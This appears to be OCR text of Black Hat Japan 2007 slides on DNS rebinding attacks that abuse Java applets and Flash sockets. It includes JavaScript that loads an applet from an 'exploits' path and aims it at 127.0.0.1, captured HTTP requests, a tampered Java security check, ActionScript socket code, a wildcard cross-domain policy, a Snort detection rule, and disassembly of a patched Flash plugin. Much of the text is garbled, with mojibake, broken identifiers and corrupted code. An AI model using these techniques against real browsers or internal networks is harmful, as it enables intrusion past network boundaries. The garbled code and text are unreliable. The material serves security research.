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JavaScript

- XMLHttpRequest®SCRIPT. IMG. IFRAMEZE{#>7z1)Y) — AMDEEH
A (HTTP)

FLASH:

- URLLoader(HTTP),

- Socket(TCP)

Java:

- URLConnection(HTTP),
- Socket(TCP)

- DatagramSocket(UDP)
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/Imake the proxy cache the applet
var foo = new Image();
foo.src = “http://12345.jumperz.net/exploits/ MTCPCApplet.class”;

/lwait for the TTL to expire
setTimeout( *f1()', 1000 * 12);

/ladd the applet tag to the page
function f1()
{
var base = document.getElementByld( "base" );
var str = '<applet code="MTCPCApplet.class" codebase="http://12345. jumperz.net/exploits/">'
+ '<param name="address" value=“127.0.0.1">"
+ '</applet>';
base.innerHTML = str;
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GET /exploits MTCPCApplet.class HTTP/1.0

Accept: */*

Referer: http://1190066223254.jumperz.net/exploits/ap3.jsp?address=127.0.0.1
Accept-Language: ja

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 2.0.50727)

Host: 1190066223254.jumperz.net
Cookie: JSESSIONID=C6D04DDABD28F3BOFACE61FIEA70B44A

Connection: Keep-Alive
FILYrOUHI R

GET /exploitsMTCPCApplet.class HTTP/1.1

User-Agent: Mozilla/4.0 (Windows 2000 5.0) Java/1.6.0_02

Host: 1190066223254.jumperz.net

Accept: text/html, image/gif, image/jpeg, *; g=.2, */*; =2

Cookie: JSESSIONID=C6D04DDABD28F3BOFACE61FIEA70B44A
Connection: keep-aive
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public void checkConnect(String host, int port) {
if (host == null) {
throw new NullPointerException("host can't be null");

}
host ="127.0.0.2";
if (lhost.startsWith("[") && host.indexOf(":") 1= -1) {
host ="[" + host + "]";
}
if (port == -1) {
checkPermission(new SocketPermission(host,
SecurityConstants. SOCKET_RESOLVE_ACTION));
}else {
checkPermission(new SocketPermission(host+":"+port,
SecurityConstants. SOCKET_CONNECT_ACTION));
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FLASHIZ%}9 ADNS Rebinding(2)

ActionScript 3.0CY Yy rEERT 53— RO

private var sock1:Socket;

private function test1():void

{

var sock1:Socket = new Socket();

sockinfoMap[ sock1 ] = "sock1";

sock1.addEventListener( Event. CONNECT, onConnected );
sock1.connect( “www.jumperz.net”, 80 );

}
private function onConnected( e:Event ):void

{
sock1.writeMultiByte( "GET / HTTP/1.0¥r¥n¥r¥n", "ISO-8859-1" );
}

Black Hat Japan 2007

FLASHIZ3}9 HDNS Rebinding(3)
T4 ETIE1024F Ll EDiR— Fo@EED AT EE (JavablE RS, Java
(CIFEREER— FEFICLDHIRRIZ L)
1024F R EHOR— PeDBEEAHEICT RRHICE ., H——EDRITH
BOZORDUZEIGEE R)Y—00—- ) 2THORELRHS
CORYY—=T7M I OO— FHi KB LB & (2131024 F K FHDR— b
EHTER0
NATDIG&IBRBICRYY—=TJ71)o0O—- B Ihhnd
ATER)Y—=T740DO— FEFTIRRIC, BALVTUWVEDIG443FR— M EfE
SATREMEAE L
DNS RebindingCCOBIENFETHAIREMIZL\DT, IDSPIPST
BRETIEHERNHNED
Snort TH Y R F v D15l

- alert tcp SHOME_NET any -> $SEXTERNAL_NET any (msg:"FLASH Socket policy-file-
request"; flow:to_server,established; content:"<policy-file-request/>"; nocase; )
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/Noad policy using port 2
flash.system.Security.loadPolicyFile( "xmlsocket://www.jumperz.net:2" );

from client to server
<policy-file-request/>

from server to client

<?ml version="1.0"?>

<IDOCTY PE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-
domain-policy.dtd">

<cross-domain-policy>

<allow-access-from domain="* .jumperz.net" to-ports="*" />

</cross-domain-policy>

vy Black Hat Japan 2007
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DLL®OCXZ7M I \wFEH TS
connect (WinsockBa#0) OIEUH L 2&FT) 22457
BIERD DL (Youtubeld RBZENTES)

JEEE4C92
JEEE4C94
JEEEACTT
JOEE4C9E
20EE4C0E
SAEE4CRE
JEEE4CAZ
JEEE4CA4
SEEE4CAT

SEEE4CIZ
SEEE4CI4
SEEE4CIT
SARE4CIS
SEEE4COE
SEEE4CIC
288E4C30
SAHE4CIE
S88E4CIF
SEEE4CAR
2BEE4CAZ

P ER1g
. 8045 FO
=]

. FF76 o4
. E8 BA7ZE0EA
8508

FUSH 18

LER ERx,DWORD PTR S5: [EBP-1&1
PUSH ERX

FUSH DWORD PTR 05z [ESI+4]
CALL <JMP. BWSDCKIZ, #43

TEST ERX,ERA

JHE SHORT HPSWEZZ2_. 308B4Ce1
CHP BYTE FTR S55: CEEP+181, AL
JHE SHORT MPSWFSE_. 386B4CC2

FUSH 18

LEA ERX,DWORD PTR S5: [EBP-161
FUSH EAX

PUUSH OWORD PTR O:5: [ESI+41
FOF ERX

FOF ER:
FOF ER=
HOP

MO

TEST ERX,EAX

JME SHORT MPSWFE32. 280B4C61

CHP BVTE PTR SS: [EEP+181,AL
JME SHORT MPSWF2Z. 280B4CC2

Addrlen = 18 (16.]

pSockAddr
Socket
connect
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